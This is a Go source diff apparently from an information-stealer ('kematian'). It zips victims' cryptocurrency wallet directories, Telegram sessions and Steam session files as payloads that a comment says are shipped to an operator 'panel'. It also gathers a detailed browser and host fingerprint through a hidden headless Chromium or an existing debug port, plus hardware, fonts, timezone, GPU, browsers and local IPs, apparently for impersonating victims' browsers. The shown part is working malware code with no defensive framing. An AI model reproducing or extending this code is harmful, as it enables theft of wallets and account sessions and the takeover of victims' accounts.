_ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint())
|
||||
_ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)})
|
||||
|
||||
// Individual payloads are shipped to the panel directly so it can host the
|
||||
// actual login files (wallet dirs, telegram sessions, steam session).
|
||||
var payloads []types.Payload
|
||||
|
||||
for _, wallet := range result.Wallets {
|
||||
if wallet.Path != "" {
|
||||
zipData, err := recovery.ZipDirectory(wallet.Path)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name))
|
||||
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
||||
payloads = append(payloads, types.Payload{
|
||||
Category: "wallet", Name: wallet.Name, Filename: fname,
|
||||
Size: len(zipData), Data: zipData,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, tg := range result.Telegram {
|
||||
if tg.Path != "" {
|
||||
zipData, err := recovery.ZipTelegram(tg.Path)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account))
|
||||
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
||||
payloads = append(payloads, types.Payload{
|
||||
Category: "telegram", Name: tg.Account, Filename: fname,
|
||||
Size: len(zipData), Data: zipData,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result.Gaming != nil {
|
||||
if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" {
|
||||
zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath)
|
||||
if err == nil && len(zipData) > 0 {
|
||||
fname := "steam_session.zip"
|
||||
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
|
||||
payloads = append(payloads, types.Payload{
|
||||
Category: "steam", Name: "steam", Filename: fname,
|
||||
Size: len(zipData), Data: zipData,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
zipData, err := ziputil.ZipDirectory(tmpDir)
|
||||
if err != nil {
|
||||
return nil, nil, nil, nil, err
|
||||
}
|
||||
|
||||
return result, zipData, counts, payloads, nil
|
||||
}
|
||||
|
||||
func sanitizeFilename(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
"/", "_", "\\", "_", ":", "_", "*", "_", "?", "_",
|
||||
"\"", "_", "<", "_", ">", "_", "|", "_", " ", "_",
|
||||
)
|
||||
return replacer.Replace(name)
|
||||
}
|
||||
@@ -0,0 +1,264 @@
|
||||
//go:build windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/chromedp/cdproto/runtime"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams {
|
||||
return p.WithAwaitPromise(true)
|
||||
}
|
||||
|
||||
const fingerprintJS = `(async () => {
|
||||
const out = {};
|
||||
try {
|
||||
const c = document.createElement("canvas");
|
||||
c.width = 220; c.height = 60;
|
||||
const x = c.getContext("2d");
|
||||
x.textBaseline = "top";
|
||||
x.font = "14px 'Arial'";
|
||||
x.fillStyle = "#f60";
|
||||
x.fillRect(0, 0, 220, 60);
|
||||
x.fillStyle = "#069";
|
||||
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2);
|
||||
x.fillStyle = "rgba(102, 204, 0, 0.7)";
|
||||
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17);
|
||||
x.fillStyle = "#f60";
|
||||
x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill();
|
||||
out.canvas = c.toDataURL();
|
||||
} catch (e) {}
|
||||
try {
|
||||
const gl = document.createElement("canvas").getContext("webgl");
|
||||
if (gl) {
|
||||
const ext = gl.getExtension("WEBGL_debug_renderer_info");
|
||||
out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER));
|
||||
out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR));
|
||||
out.webglVersion = String(gl.getParameter(gl.VERSION));
|
||||
const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"];
|
||||
const params = {};
|
||||
for (const k of keys) {
|
||||
try {
|
||||
let v = gl.getParameter(gl[k]);
|
||||
if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v);
|
||||
params[k] = v;
|
||||
} catch (e) {}
|
||||
}
|
||||
out.webglParams = params;
|
||||
const exts = gl.getSupportedExtensions();
|
||||
out.webglExtensions = exts ? exts.slice().sort() : [];
|
||||
}
|
||||
} catch (e) {}
|
||||
try {
|
||||
const ac = new OfflineAudioContext(1, 44100, 44100);
|
||||
const osc = ac.createOscillator();
|
||||
osc.type = "triangle";
|
||||
osc.frequency.value = 10000;
|
||||
const comp = ac.createDynamicsCompressor();
|
||||
comp.threshold.value = -50;
|
||||
comp.knee.value = 40;
|
||||
comp.ratio.value = 12;
|
||||
comp.attack.value = 0;
|
||||
comp.release.value = 0.25;
|
||||
osc.connect(comp);
|
||||
comp.connect(ac.destination);
|
||||
osc.start(0);
|
||||
const buf = await ac.startRendering();
|
||||
const data = buf.getChannelData(0);
|
||||
let sum = 0;
|
||||
for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]);
|
||||
out.audio = sum;
|
||||
} catch (e) {}
|
||||
return out;
|
||||
})()`
|
||||
|
||||
func CollectJS() *JSResult {
|
||||
res, err := collectJS()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
func collectJS() (*JSResult, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
if wsURL := findExistingDebugURL(); wsURL != "" {
|
||||
logf("found existing debug endpoint")
|
||||
if res, err := runRemote(ctx, wsURL); err == nil {
|
||||
return res, nil
|
||||
} else {
|
||||
logf("existing debug endpoint failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
chrome := browserExePath("Chrome")
|
||||
if chrome == "" {
|
||||
chrome = browserExePath("Edge")
|
||||
}
|
||||
if chrome == "" {
|
||||
return nil, fmt.Errorf("no Chromium browser found")
|
||||
}
|
||||
logf("spawning hidden Chromium: %s", chrome)
|
||||
res, err := runHidden(ctx, chrome)
|
||||
if err != nil {
|
||||
logf("hidden Chromium failed: %v", err)
|
||||
}
|
||||
return res, err
|
||||
}
|
||||
|
||||
func runRemote(ctx context.Context, wsURL string) (*JSResult, error) {
|
||||
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
|
||||
defer cancel()
|
||||
return evalJS(allocCtx)
|
||||
}
|
||||
|
||||
func runHidden(ctx context.Context, chromePath string) (*JSResult, error) {
|
||||
dataDir, err := os.MkdirTemp("", "kematian_fp_*")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("temp profile dir: %w", err)
|
||||
}
|
||||
defer os.RemoveAll(dataDir)
|
||||
|
||||
if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil {
|
||||
return res, nil
|
||||
} else {
|
||||
logf("GPU launch failed: %v; retrying with software rendering", err)
|
||||
}
|
||||
return runHiddenWith(ctx, chromePath, dataDir, false)
|
||||
}
|
||||
|
||||
func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) {
|
||||
args := []string{
|
||||
"--headless",
|
||||
"--no-sandbox",
|
||||
"--disable-dev-shm-usage",
|
||||
"--no-first-run",
|
||||
"--no-default-browser-check",
|
||||
"--disable-extensions",
|
||||
"--user-data-dir=" + dataDir,
|
||||
"--remote-debugging-port=0",
|
||||
"about:blank",
|
||||
}
|
||||
if gpu {
|
||||
args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox")
|
||||
} else {
|
||||
args = append(args, "--disable-gpu")
|
||||
}
|
||||
|
||||
cmd := exec.Command(chromePath, args...)
|
||||
cmd.Stdout = io.Discard
|
||||
cmd.Stderr = chromeLogWriter{}
|
||||
if err := cmd.Start(); err != nil {
|
||||
return nil, fmt.Errorf("start chrome: %w", err)
|
||||
}
|
||||
defer func() { _ = cmd.Process.Kill() }()
|
||||
|
||||
wsURL, err := waitForDevTools(dataDir, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
|
||||
defer cancel()
|
||||
return evalJS(allocCtx)
|
||||
}
|
||||
|
||||
func waitForDevTools(dataDir string, timeout time.Duration) (string, error) {
|
||||
portFile := filepath.Join(dataDir, "DevToolsActivePort")
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
data, err := os.ReadFile(portFile)
|
||||
if err == nil {
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) >= 2 {
|
||||
port := strings.TrimSpace(lines[0])
|
||||
path := strings.TrimSpace(lines[1])
|
||||
if port != "" && path != "" {
|
||||
return "ws://127.0.0.1:" + port + path, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
return "", fmt.Errorf("chrome did not expose a DevTools port")
|
||||
}
|
||||
|
||||
type chromeLogWriter struct{}
|
||||
|
||||
func (chromeLogWriter) Write(p []byte) (int, error) {
|
||||
for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") {
|
||||
if line != "" {
|
||||
logf("chrome: %s", line)
|
||||
}
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func evalJS(allocCtx context.Context) (*JSResult, error) {
|
||||
cctx, cancel := chromedp.NewContext(allocCtx)
|
||||
defer cancel()
|
||||
|
||||
var out JSResult
|
||||
if err := chromedp.Run(cctx,
|
||||
chromedp.Navigate("about:blank"),
|
||||
chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise),
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func findExistingDebugURL() string {
|
||||
local := os.Getenv("LOCALAPPDATA")
|
||||
if local == "" {
|
||||
return ""
|
||||
}
|
||||
for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} {
|
||||
data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) < 2 {
|
||||
continue
|
||||
}
|
||||
port := strings.TrimSpace(lines[0])
|
||||
if port == "" {
|
||||
continue
|
||||
}
|
||||
if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" {
|
||||
return wsURL
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func debugWebSocketURL(port string) (string, error) {
|
||||
client := &http.Client{Timeout: 2 * time.Second}
|
||||
resp, err := client.Get("http://127.0.0.1:" + port + "/json/version")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var v struct {
|
||||
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
|
||||
}
|
||||
if err := json.NewDecoder(resp.Body).Decode(&v); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return v.WebSocketDebuggerURL, nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
func CollectJS() *JSResult {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
func Collect() *Result {
|
||||
return &Result{}
|
||||
}
|
||||
@@ -0,0 +1,483 @@
|
||||
//go:build windows
|
||||
|
||||
package fingerprint
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// ── Win32 API (raw syscalls) ──────────────────────────────────────
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||
|
||||
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
|
||||
procSystemParametersInfo = user32.NewProc("SystemParametersInfoW")
|
||||
procGetDC = user32.NewProc("GetDC")
|
||||
procReleaseDC = user32.NewProc("ReleaseDC")
|
||||
procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps")
|
||||
procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount")
|
||||
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
|
||||
procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName")
|
||||
procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation")
|
||||
)
|
||||
|
||||
type memoryStatusEx struct {
|
||||
Length uint32
|
||||
MemoryLoad uint32
|
||||
TotalPhys uint64
|
||||
AvailPhys uint64
|
||||
TotalPageFile uint64
|
||||
AvailPageFile uint64
|
||||
TotalVirtual uint64
|
||||
AvailVirtual uint64
|
||||
AvailExtendedVirtual uint64
|
||||
}
|
||||
|
||||
type systemTime struct {
|
||||
Year uint16
|
||||
Month uint16
|
||||
DayOfWeek uint16
|
||||
Day uint16
|
||||
Hour uint16
|
||||
Minute uint16
|
||||
Second uint16
|
||||
Milliseconds uint16
|
||||
}
|
||||
|
||||
type timeZoneInformation struct {
|
||||
Bias int32
|
||||
StandardName [32]uint16
|
||||
StandardDate systemTime
|
||||
StandardBias int32
|
||||
DaylightName [32]uint16
|
||||
DaylightDate systemTime
|
||||
DaylightBias int32
|
||||
}
|
||||
|
||||
type rect struct {
|
||||
Left int32
|
||||
Top int32
|
||||
Right int32
|
||||
Bottom int32
|
||||
}
|
||||
|
||||
// ── Collect ───────────────────────────────────────────────────────
|
||||
|
||||
func Collect() *Result {
|
||||
r := &Result{
|
||||
Platform: "Win32",
|
||||
OSArch: runtime.GOARCH,
|
||||
}
|
||||
|
||||
r.OS = osProductName()
|
||||
r.HardwareConcurrency = cpuCores()
|
||||
r.DeviceMemory = deviceMemoryGB()
|
||||
r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES
|
||||
r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN
|
||||
r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN
|
||||
|
||||
var work rect
|
||||
if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) {
|
||||
r.AvailWidth = int(work.Right - work.Left)
|
||||
r.AvailHeight = int(work.Bottom - work.Top)
|
||||
}
|
||||
|
||||
hdc, _, _ := procGetDC.Call(0)
|
||||
if hdc != 0 {
|
||||
r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL
|
||||
if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX
|
||||
r.DevicePixelRatio = float64(dpi) / 96.0
|
||||
}
|
||||
procReleaseDC.Call(0, hdc)
|
||||
}
|
||||
|
||||
r.Timezone, r.TimezoneOffset = timezoneInfo()
|
||||
r.Languages = languages()
|
||||
r.Fonts = fonts()
|
||||
r.GPU = gpuName()
|
||||
r.Browsers = installedBrowsers()
|
||||
r.UserAgent = userAgent(r.Browsers)
|
||||
r.LocalIPs = localIPs()
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func getSystemMetrics(index int) int {
|
||||
v, _, _ := procGetSystemMetrics.Call(uintptr(index))
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool {
|
||||
r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni))
|
||||
return r != 0
|
||||
}
|
||||
|
||||
func getDeviceCaps(hdc uintptr, index int) int {
|
||||
v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index))
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func cpuCores() int {
|
||||
v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS
|
||||
if v == 0 {
|
||||
return runtime.NumCPU()
|
||||
}
|
||||
return int(v)
|
||||
}
|
||||
|
||||
func deviceMemoryGB() int {
|
||||
var ms memoryStatusEx
|
||||
ms.Length = uint32(unsafe.Sizeof(ms))
|
||||
r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
|
||||
if r == 0 {
|
||||
return 0
|
||||
}
|
||||
gb := int(ms.TotalPhys / (1 << 30))
|
||||
if gb > 8 {
|
||||
gb = 8 // navigator.deviceMemory is clamped to 8
|
||||
}
|
||||
return gb
|
||||
}
|
||||
|
||||
// ── OS ─────────────────────────────────────────────────────────────
|
||||
|
||||
func osProductName() string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return "Windows"
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
product, _, _ := k.GetStringValue("ProductName")
|
||||
build, _, _ := k.GetStringValue("CurrentBuildNumber")
|
||||
display, _, _ := k.GetStringValue("DisplayVersion")
|
||||
ubr, _, _ := k.GetStringValue("UBR")
|
||||
|
||||
name := product
|
||||
if name == "" {
|
||||
name = "Windows"
|
||||
}
|
||||
ver := display
|
||||
if ver == "" && build != "" {
|
||||
ver = build
|
||||
if ubr != "" {
|
||||
ver = build + "." + ubr
|
||||
}
|
||||
}
|
||||
if ver != "" {
|
||||
return name + " " + ver
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
// ── Timezone ──────────────────────────────────────────────────────
|
||||
|
||||
// windowsToIANA maps common Windows timezone names to IANA identifiers.
|
||||
var windowsToIANA = map[string]string{
|
||||
"Eastern Standard Time": "America/New_York",
|
||||
"Central Standard Time": "America/Chicago",
|
||||
"Mountain Standard Time": "America/Denver",
|
||||
"Pacific Standard Time": "America/Los_Angeles",
|
||||
"Alaskan Standard Time": "America/Anchorage",
|
||||
"Hawaiian Standard Time": "Pacific/Honolulu",
|
||||
"Atlantic Standard Time": "America/Halifax",
|
||||
"Newfoundland Standard Time": "America/St_Johns",
|
||||
"GMT Standard Time": "Europe/London",
|
||||
"Greenwich Standard Time": "Atlantic/Reykjavik",
|
||||
"W. Europe Standard Time": "Europe/Berlin",
|
||||
"Central Europe Standard Time": "Europe/Budapest",
|
||||
"Romance Standard Time": "Europe/Paris",
|
||||
"Central European Standard Time": "Europe/Warsaw",
|
||||
"E. Europe Standard Time": "Europe/Chisinau",
|
||||
"Russian Standard Time": "Europe/Moscow",
|
||||
"Israel Standard Time": "Asia/Jerusalem",
|
||||
"China Standard Time": "Asia/Shanghai",
|
||||
"Tokyo Standard Time": "Asia/Tokyo",
|
||||
"Korea Standard Time": "Asia/Seoul",
|
||||
"Singapore Standard Time": "Asia/Singapore",
|
||||
"India Standard Time": "Asia/Kolkata",
|
||||
"AUS Eastern Standard Time": "Australia/Sydney",
|
||||
"New Zealand Standard Time": "Pacific/Auckland",
|
||||
"SA Pacific Standard Time": "America/Bogota",
|
||||
"Argentina Standard Time": "America/Argentina/Buenos_Aires",
|
||||
"E. South America Standard Time": "America/Sao_Paulo",
|
||||
}
|
||||
|
||||
func timezoneInfo() (string, int) {
|
||||
var tzi timeZoneInformation
|
||||
r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi)))
|
||||
if r == 0xFFFFFFFF {
|
||||
return "", 0
|
||||
}
|
||||
windowsName := syscall.UTF16ToString(tzi.StandardName[:])
|
||||
offset := -int(tzi.Bias)
|
||||
|
||||
iana := windowsToIANA[windowsName]
|
||||
if iana == "" {
|
||||
iana = windowsName
|
||||
}
|
||||
return iana, offset
|
||||
}
|
||||
|
||||
// ── Languages ─────────────────────────────────────────────────────
|
||||
|
||||
func languages() []string {
|
||||
var langs []string
|
||||
var buf [85]uint16
|
||||
r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
|
||||
if r > 0 && r <= uintptr(len(buf)) {
|
||||
locale := syscall.UTF16ToString(buf[:r])
|
||||
if locale != "" {
|
||||
langs = append(langs, locale)
|
||||
}
|
||||
}
|
||||
|
||||
if prefs := chromeAcceptLanguages(); prefs != "" {
|
||||
for _, l := range strings.Split(prefs, ",") {
|
||||
l = strings.TrimSpace(l)
|
||||
if l != "" && !containsStr(langs, l) {
|
||||
langs = append(langs, l)
|
||||
}
|
||||
}
|
||||
}
|
||||
return langs
|
||||
}
|
||||
|
||||
func chromeAcceptLanguages() string {
|
||||
local := os.Getenv("LOCALAPPDATA")
|
||||
if local == "" {
|
||||
return ""
|
||||
}
|
||||
path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
s := string(data)
|
||||
idx := strings.Index(s, `"accept_languages"`)
|
||||
if idx < 0 {
|
||||
return ""
|
||||
}
|
||||
rest := s[idx:]
|
||||
colon := strings.Index(rest, ":")
|
||||
if colon < 0 {
|
||||
return ""
|
||||
}
|
||||
rest = rest[colon+1:]
|
||||
start := strings.Index(rest, `"`)
|
||||
if start < 0 {
|
||||
return ""
|
||||
}
|
||||
rest = rest[start+1:]
|
||||
end := strings.Index(rest, `"`)
|
||||
if end < 0 {
|
||||
return ""
|
||||
}
|
||||
return rest[:end]
|
||||
}
|
||||
|
||||
// ── Fonts ─────────────────────────────────────────────────────────
|
||||
|
||||
func fonts() []string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`,
|
||||
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
names, err := k.ReadValueNames(-1)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var out []string
|
||||
seen := map[string]bool{}
|
||||
for _, name := range names {
|
||||
f := strings.TrimSpace(name)
|
||||
f = strings.TrimSuffix(f, " (TrueType)")
|
||||
f = strings.TrimSuffix(f, " (OpenType)")
|
||||
f = strings.TrimSuffix(f, " (All res)")
|
||||
if f == "" || seen[f] {
|
||||
continue
|
||||
}
|
||||
seen[f] = true
|
||||
out = append(out, f)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// ── GPU ───────────────────────────────────────────────────────────
|
||||
|
||||
func gpuName() string {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
|
||||
registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
subs, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sub := range subs {
|
||||
if !strings.HasPrefix(sub, "0") {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(k, sub, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
desc, _, _ := sk.GetStringValue("DriverDesc")
|
||||
sk.Close()
|
||||
desc = strings.TrimSpace(desc)
|
||||
if desc == "" || strings.Contains(desc, "Microsoft Basic Display") ||
|
||||
strings.Contains(desc, "Microsoft Remote Display") {
|
||||
continue
|
||||
}
|
||||
return desc
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── Installed browsers ────────────────────────────────────────────
|
||||
|
||||
var browserUpdateGUIDs = []struct {
|
||||
name string
|
||||
guid string
|
||||
}{
|
||||
{"Chrome", `{8A69D345-D564-463c-AFF1-A69D9E530F96}`},
|
||||
{"Edge", `{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}`},
|
||||
{"Brave", `{AFE6A462-C574-4B8A-AF43-4CC60DF4563B}`},
|
||||
}
|
||||
|
||||
func installedBrowsers() []Browser {
|
||||
var out []Browser
|
||||
for _, b := range browserUpdateGUIDs {
|
||||
ver := browserVersion(b.guid)
|
||||
if ver == "" {
|
||||
continue
|
||||
}
|
||||
out = append(out, Browser{Name: b.name, Version: ver, Path: browserExePath(b.name)})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func browserVersion(guid string) string {
|
||||
for _, root := range []string{`SOFTWARE\Google\Update\Clients\`, `SOFTWARE\WOW6432Node\Google\Update\Clients\`} {
|
||||
k, err := registry.OpenKey(registry.LOCAL_MACHINE, root+guid, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
pv, _, err := k.GetStringValue("pv")
|
||||
k.Close()
|
||||
if err == nil && pv != "" {
|
||||
return pv
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func browserExePath(name string) string {
|
||||
var paths []string
|
||||
pf := os.Getenv("ProgramFiles")
|
||||
pf86 := os.Getenv("ProgramFiles(x86)")
|
||||
switch name {
|
||||
case "Chrome":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `Google\Chrome\Application\chrome.exe`),
|
||||
filepath.Join(pf86, `Google\Chrome\Application\chrome.exe`),
|
||||
}
|
||||
case "Edge":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `Microsoft\Edge\Application\msedge.exe`),
|
||||
filepath.Join(pf86, `Microsoft\Edge\Application\msedge.exe`),
|
||||
}
|
||||
case "Brave":
|
||||
paths = []string{
|
||||
filepath.Join(pf, `BraveSoftware\Brave-Browser\Application\brave.exe`),
|
||||
filepath.Join(pf86, `BraveSoftware\Brave-Browser\Application\brave.exe`),
|
||||
}
|
||||
}
|
||||
for _, p := range paths {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── User agent ────────────────────────────────────────────────────
|
||||
|
||||
func userAgent(browsers []Browser) string {
|
||||
order := []string{"Chrome", "Edge", "Brave"}
|
||||
version := ""
|
||||
for _, want := range order {
|
||||
for _, b := range browsers {
|
||||
if b.Name == want && b.Version != "" {
|
||||
version = b.Version
|
||||
break
|
||||
}
|
||||
}
|
||||
if version != "" {
|
||||
break
|
||||
}
|
||||
}
|
||||
if version == "" {
|
||||
return ""
|
||||
}
|
||||
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", version)
|
||||
}
|
||||
|
||||
// ── Local IPs ─────────────────────────────────────────────────────
|
||||
|
||||
func localIPs() []string {
|
||||
ifaces, err := net.Interfaces()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var ips []string
|
||||
for _, iface := range ifaces {
|
||||
addrs, err := iface.Addrs()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, addr := range addrs {
|
||||
ip, _, err := net.ParseCIDR(addr.String())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if v4 := ip.To4(); v4 != nil && !v4.IsLoopback() {
|
||||
s := v4.String()
|
||||
if !containsStr(ips, s) {
|
||||
ips = append(ips, s)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ips
|
||||
}
|
||||
|
||||
func containsStr(s []string, v string) bool {
|
||||
for _, x := range s {
|
||||
if x == v {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package fingerprint
|
||||
|
||||
type JSResult struct {
|
||||
Canvas string `json:"canvas,omitempty"`
|
||||
WebGLRenderer string `json:"webglRenderer,omitempty"`
|
||||
WebGLVendor string `json:"webglVendor,omitempty"`
|
||||
WebGLVersion string `json:"webglVersion,omitempty"`
|
||||
WebGLParams map[string]interface{} `json:"webglParams,omitempty"`
|
||||
WebGLExtensions []string `json:"webglExtensions,omitempty"`
|
||||
Audio float64 `json:"audio,omitempty"`
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package fingerprint
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[fingerprint] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package fingerprint
|
||||
|
||||
// Browser is an installed browser and its version.
|
||||
type Browser struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Path string `json:"path,omitempty"`
|
||||
}
|
||||
|
||||
// Result is the collected native fingerprint.
|
||||
type Result struct {
|
